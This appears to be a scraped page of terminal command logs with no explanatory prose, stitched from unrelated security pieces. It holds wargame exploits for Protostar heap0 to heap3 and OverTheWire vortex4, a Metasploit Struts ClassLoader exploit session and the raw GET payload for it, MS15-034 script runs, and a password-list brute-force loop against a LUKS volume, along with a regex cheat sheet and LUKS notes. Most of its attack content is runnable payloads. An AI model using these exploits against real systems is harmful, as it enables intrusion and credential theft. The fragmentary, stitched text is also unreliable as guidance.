#cat cve-2015-1635.py#./cve-2015-1635.py -h#./cve-2015-1635.py -u http://127.0.0.1:8080#./cve-2015-1635.py -u http://127.0.0.1:8080 -e
References
https://technet.microsoft.com/library/security/ms15-034
#cat cve-2015-1635.py#./cve-2015-1635.py -h#./cve-2015-1635.py -u http://127.0.0.1:8080#./cve-2015-1635.py -u http://127.0.0.1:8080 -e
\n Newline\r Carriage return\t Tab\0 Null character\G Start of match. Will match at the position the previous successful match ended^ Start of string (multiline mode). Will match after each newline character$ End of string (multiline mode). Will match before each newline character\A Start of string\Z End of string. Will match before last newline character\z End of string. Will match at the end of a string\b A word boundary. Will match between \w and \W\B Non-word boundary. Will match between two characters matched by \w. Any single character\s Any whitespace\S Any non-whitespace\d Any digit\D Any non-digit\w Any word\W Any non-word\X Any unicode sequences\C Match one data unit\R Unicode newline\v Vertical whitespace\h Horizontal whitespace\H Non-horizontal whitespace\K Reset match: sets the given position as the new start\n Match nth subpattern (backreference)\pX Unicode property X\PX Non-unicode property X\p{...} Unicode properties\P{...} Non-unicode properties\Q...\E Any characters between will be treated as literals\k<name> Match subpattern 'name'\k'name' Match subpattern 'name'\k{name} Match subpattern 'name'\gn Match nth subpattern\g{n} Match nth subpattern\g{-n} Match nth group before current position\g'name' Recurse subpattern 'name'\g<n> Recurse nth subpattern\g'n' Recurse nth subpattern\g<+n> Recurse nth relative subpattern\g'+n' Recurse nth relative subpattern\xYY Hex character YY\x{YYYY} Hex character YYYY\ddd Octal character ddd\cY Control character Y\b Backspace character\ Makes any character literala? Zero or one aa* Zero or more of aa+ One or more of aa{3} Exactly 3 of aa{3,} 3 or more of aa{3,6} Between 3 and 6 of aa* Greedy quantifiera*? Lazy/Reluctant quantifiera*+ Possessive quantifier(...) Capture everything enclosed(a|b) a or b(?:...) Match everything enclosed but won't create a capture group(?>...) Atomic group(?|...) Duplicate subpattern group(?#...) Comment(?'name'...) Named capturing group(?<name>...) Named capturing group(?P<name>...) Named capturing group(?imsxXU) Inline modifiers(?(...)|) Conditional statement(?R) Recurse entire pattern(?1) Recurse first subpattern(?+1) Recurse first relative subpattern(?&name) Match subpattern 'name'(?P>name) Match subpattern 'name'(?=...) Positive lookahead(?!...) Negative lookahead(?<=...) Positive lookbehind(?<!...) Negative lookbehind[abc] A character: a, b or c[^abc] A character except: a, b or c[a-z] A character in the range: a-z[a-z] A character not in the range: a-z[a-zA-Z] A character in the range: a-z or A-Z[[:alnum:]] Letter or digit[[:alpha:]] Letter[[:ascii:]] Ascii code in the range: 0-127[[:blank:]] Space or tab[[:cntrl:]] Control character[[:digit:]] Digit[[:graph:]] Visible character (not space)[[:lower:]] Lower character[[:print:]] Visible character[[:punct:]] Visible punctuation character[[:space:]] Whitespace[[:upper:]] Uppercase character[[:word:]] Word[[:xdigit:]] Hexadecimal digitg Globalm Multilinei Case insensitivex Ignore whitespaces Single lineu UnicodeX ExtendedU UngreedyA Anchor\0 Complete match contents\1 Contents in capture group 1\g<1> Contents in capture group 1$1 Contents in capture group 1${foo} Contents in capture group 'foo'\{foo} Contents in capture group 'foo'\g{foo} Contents in capture group 'foo'\xYY Hexadecimal replacement\x{YYZZ} Hexadecimal replacement\t Tab\r Carriage return\n Newline\f Form-feed#perl -Mre=debugcolor -e '"preval(" =~ /(^|\s)eval\(/'#perl -Mre=debugcolor -e '"eval(" =~ /(^|\s)eval\(/'
$cat heap0.c$file heap0$gdb heap0(gdb)disassemble main(gdb)p winner(gdb)b *0x080484f2(gdb)b *0x080484fd(gdb)run AAAA(gdb)x/20xw 0x804a008(gdb)c(gdb)x/20xw 0x804a008(gdb)quit$./heap0 `python -c 'from struct import pack; print "A"*(0x804a050-0x804a008) + pack("<I", 0x08048464)'`
$cat heap1.c$file heap1$gdb heap1(gdb)disassemble main(gdb)p winner(gdb)x/i 0x80483cc(gdb)x/xw 0x8049774(gdb)b *0x080484ce(gdb)b *0x080484e8(gdb)b *0x080484fd(gdb)b *0x08048517(gdb)b *0x08048538(gdb)b *0x08048555(gdb)b *0x08048561(gdb)run AAAA BBBB(gdb)i r eax(gdb)c(gdb)i r eax(gdb)c(gdb)i r eax(gdb)c(gdb)i r eax(gdb)c(gdb)x/16xw 0x804a008(gdb)quit$./heap1 `python -c 'from struct import pack; print "A"*(0x804a02c-0x804a018) + pack("<I", 0x08049774), pack("<I", 0x08048494)'`
$cat heap2.c$file heap2$gdb heap2(gdb)disassemble main(gdb)b *0x08048942(gdb)runauth AAAA(gdb)info proc map(gdb)x/12xw 0x804c000(gdb)p &auth->name(gdb)p &auth->auth(gdb)cserviceAAAABBBBCCCCDDDD(gdb)x/12xw 0x804c000(gdb)x/xw &auth->auth(gdb)clogin
$cat heap3.c$file heap3$gdb heap3(gdb)disassemble main(gdb)b *0x080488c5(gdb)p winner(gdb)run A B C(gdb)info proc map(gdb)x/i 0x8048790(gdb)x/xw 0x804b128(gdb)x/32xw 0x804c000(gdb)quit$./heap3 `python -c 'from struct import pack; print "A"*4 + "\x68\x64\x88\x04\x08\xc3" + "A"*22 + pack("<I", 0xfffffffc)*2, "B"*4 + pack("<I", 0x0804b128-12) + pack("<I", 0x804c00c), "C"'`
#wget http://mirrors.ibiblio.org/apache/tomcat/tomcat-8/v8.0.18/bin/apache-tomcat-8.0.18.tar.gz#tar xvzf apache-tomcat-8.0.18.tar.gz#mv apache-tomcat-8.0.18 /opt/tomcat#cat /etc/environment#source /etc/environment#grep -v -E "^(<\!| |-|$)" /opt/tomcat/conf/tomcat-users.xml#$CATALINA_HOME/bin/startup.sh#wget http://archive.apache.org/dist/struts/binaries/struts-2.3.16-all.zip#unzip struts-2.3.16-all.zip#find struts-2.3.16 | grep '\.war'#! From http://10.0.0.2:8080/manager/html deploy struts2-blank.war #tail -f /opt/tomcat/logs/*
msf >search cve-2014-0094msf >use exploit/multi/http/struts_code_exec_classloadermsf exploit(struts_code_exec_classloader) >set rhost 10.0.0.2msf exploit(struts_code_exec_classloader) >set lhost 10.0.0.1msf exploit(struts_code_exec_classloader) >set target 0msf exploit(struts_code_exec_classloader) >show optionsmsf exploit(struts_code_exec_classloader) >exploitwhoami
GET /struts2-blank/example/HelloWorld.action? class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT& class['classLoader'].resources.context.parent.pipeline.first.prefix=0Ucn& class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp& class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=4 HTTP/1.1 Signature name =Apache Struts ClassLoader manipulationpart ="class", rgxp ="(.*\.|^|.*|\[('|\"))(c|C)lass(\.|('|\")\]|\[).*"Search in :ParametersProtocols :http, https
#apt-get install picviz#cat csv2pgdl.py#./csv2pgdl.py data.csv > data.pgdl#pcv -Tpngcairo data.pgdl -rrra -Rheatline -o data.png# or #pcv -Tpngcairo data.pgdl -rrra -Rheatline -o data.png 'show value = "tcp" on axis 2 and value = "23" on axis 6'#eog data.png
#apt-get install cryptsetup#luksformat -t ext4 /dev/sdb#cryptsetup luksDump /dev/sdb#cryptsetup open --type luks /dev/sdb luks#mount /dev/mapper/luks /mnt/luks#umount /mnt/luks#cryptsetup close luks
#ssh vortex4@vortex.labs.overthewire.org$file /vortex/vortex4$mkdir /tmp/v4$cd /tmp/v4$cat execve.c$gcc -m32 -o execve execve.c$cat getenvaddr.c$gcc -m32 -o getenvaddr getenvaddr.c$cat format_string.py$gdb /vortex/vortex4(gdb)set disassembly-flavor intel(gdb)disassemble main$readelf -r /vortex/vortex4$./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffffff 0804a014 0 104 5`$./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffdf83 0804a014 0 104 5`$./execve /vortex/vortex4 `./format_string.py findinit 0xffffdf85 0804a014 0 104 5`; echo%104 = init $./execve /vortex/vortex4 `./format_string.py exploit 0xffffdf85 0804a014 0 104 5`; echo$whoami$/bin/cat /etc/vortex_pass/vortex5
#cat pattern.py#./pattern.py ost.wav#cat solution.py#./solution.py ost.wav output#file output#tesseract output flag && cat flag.txt
#file hiddentation#./patch.py hiddentation r 0x0 0x280#./luks_parser.py hiddentation#cp hiddentation hiddentation.copy#./patch.py hiddentation.copy w 0x3 53#./patch.py hiddentation.copy w 0x220 00ac71f3#./patch.py hiddentation.copy w 0x248 00000708#./patch.py hiddentation.copy r 0x0 0x280#file hiddentation.copy#cryptsetup luksDump hiddentation.copy#while read password; do echo $password; echo -n $password | cryptsetup open --type luks hiddentation.copy volume --key-file - && break; done <<< "`curl --silent http://whnt.com/2014/01/22/the-25-most-common-passwords-of-2013/ | grep '. ' | awk '{print $2}'`"#fdisk -l /dev/mapper/volume#gparted /dev/mapper/volume## offset = 86016 (First sector) * 512 bytes/sector = 44040192 #losetup --offset 44040192 /dev/loop1 /dev/mapper/volume#mount /dev/loop1 /mnt#cat /mnt/flag.txt#testdisk /dev/loop1#dd if=/dev/loop1 of=ntfs skip=69632 count=34816#umount /dev/loop1#losetup -d /dev/loop1#losetup /dev/loop1 ntfs#mount /dev/loop1 /mnt#cat /mnt/readme.txt#umount /dev/loop1#losetup -d /dev/loop1#ntfsundelete --scan ntfs#ntfsundelete --undelete --match flag.txt ntfs#cat flag.txt*#./rot.py -m tracks APAq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r 2>&1 | grep -e '\[' -e 13
#cat wiener_attack.py#./wiener_attack.py